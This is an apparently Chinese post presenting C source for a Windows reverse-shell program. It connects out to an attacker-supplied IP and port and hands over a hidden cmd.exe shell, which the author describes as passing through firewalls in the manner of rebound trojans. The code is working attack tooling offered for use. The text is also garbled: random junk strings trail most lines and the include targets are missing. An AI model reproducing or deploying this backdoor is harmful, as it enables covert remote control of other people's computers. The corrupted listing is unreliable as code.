这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y-gXGvZ
P4|A\|t
/* ============================== 5l%g3F
Rebound port in Windows NT }Gx@1)??
By wind,2006/7 uf:'"7V7
===============================*/ N%e^2O)
#include ]&P 4QT)f
#include t'.:"H8BI
}9;mtMR$
#pragma comment(lib,"wsock32.lib") b' ~WS4xlD
}LLQ+
void OutputShell(); 5 [4{1v
SOCKET sClient; Re'3 bs:+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HYY+Fv5
Q|2*V1"r<2
void main(int argc,char **argv) t"e %'dFv
{ NZFUC D)
WSADATA stWsaData; :()K2<E
int nRet; OIjG`~Rx
SOCKADDR_IN stSaiClient,stSaiServer; L&uPNcZ`-
IMzt1l
=7
if(argc != 3) =e9<.{]S/
{ a( N;|<
printf("Useage:\n\rRebound DestIP DestPort\n"); <54KWC86)J
return; ;z+}|>!
} `G:hC5B
t\Qm2Q)>
WSAStartup(MAKEWORD(2,2),&stWsaData); LCq1F(q
zTi
8 y<}
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s;]"LD@
gi)C5J4
stSaiClient.sin_family = AF_INET; OqmW lN.?
stSaiClient.sin_port = htons(0); ,6"[vb#*3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $Q,]2/o6n
%e|UA-(
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {]N7kY.W
{ N$.ls48a4-
printf("Bind Socket Failed!\n"); ((^vsKT
return; `Ao"fRv#
} -SzCeq(p%5
L6ypn)l
stSaiServer.sin_family = AF_INET; ;4Xx5*E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zN-Y=-c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ea0EG>Y
\nL@P6X
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y/pK
{ 1YU?+K
printf("Connect Error!"); J{Ld)Q,^
return; #'RfwldD9
} yC4%z)t&R
OutputShell(); f rV_5yK'
} #BZ5Mxzj
G(t&(t`[
void OutputShell() bQI.Qk
{ w6^TwjjZ$
char szBuff[1024]; 9[`\ZGWD
SECURITY_ATTRIBUTES stSecurityAttributes; f2v~: u
OSVERSIONINFO stOsversionInfo; (#>Q#Izr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,jD-fL/:
STARTUPINFO stStartupInfo; v3kT~uv
char *szShell; 47A[-&y*X
PROCESS_INFORMATION stProcessInformation; O(_f&a
unsigned long lBytesRead; fWF!% |L
s!Iinc^p
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (/t{z=
vy>(?[
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gT,iH.
stSecurityAttributes.lpSecurityDescriptor = 0; r]wy-GT
stSecurityAttributes.bInheritHandle = TRUE; y
S<&d#:"
U<'z,Px6
IA}.{zY~|
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Kf)$/W4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s=z$;1C
u~mpZ"9$ 3
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I+jc
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |O"Pb`V+
stStartupInfo.wShowWindow = SW_HIDE; 'gsO}xj
stStartupInfo.hStdInput = hReadPipe; yHZ&5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Wv,?xm
PMvm4<
GetVersionEx(&stOsversionInfo); U2\k7I
x_/H
switch(stOsversionInfo.dwPlatformId) 2_Cp}Pj
{ zW. Ltz
case 1: y\dx \
szShell = "command.com"; y'JJ#7O=
break; zhyf}Ta'
default: 2j1HN
szShell = "cmd.exe"; ~i>'3j0@k
break; |]-~yYqP3
} VwarU(*
|t#s h
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vH E:TQo4
uD ;T
send(sClient,szMsg,77,0); eq9qE^[Z&
while(1) ZOx;]D"s
{ UM0#S}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5D3&6DCH
if(lBytesRead) M[_Ptqjb
{ |47 2X&e
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2t=&h|6EW
send(sClient,szBuff,lBytesRead,0); 2{g&9
} LVL#qNIu
else :
>$v@d
{ (?.h<v1}
lBytesRead=recv(sClient,szBuff,1024,0); EvA8<o
if(lBytesRead<=0) break; " ;\EU4R
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PX?^v8wlqL
} ]a:T]x6'
} a^VI)
v)*eLX$
return; .l,NmF9
}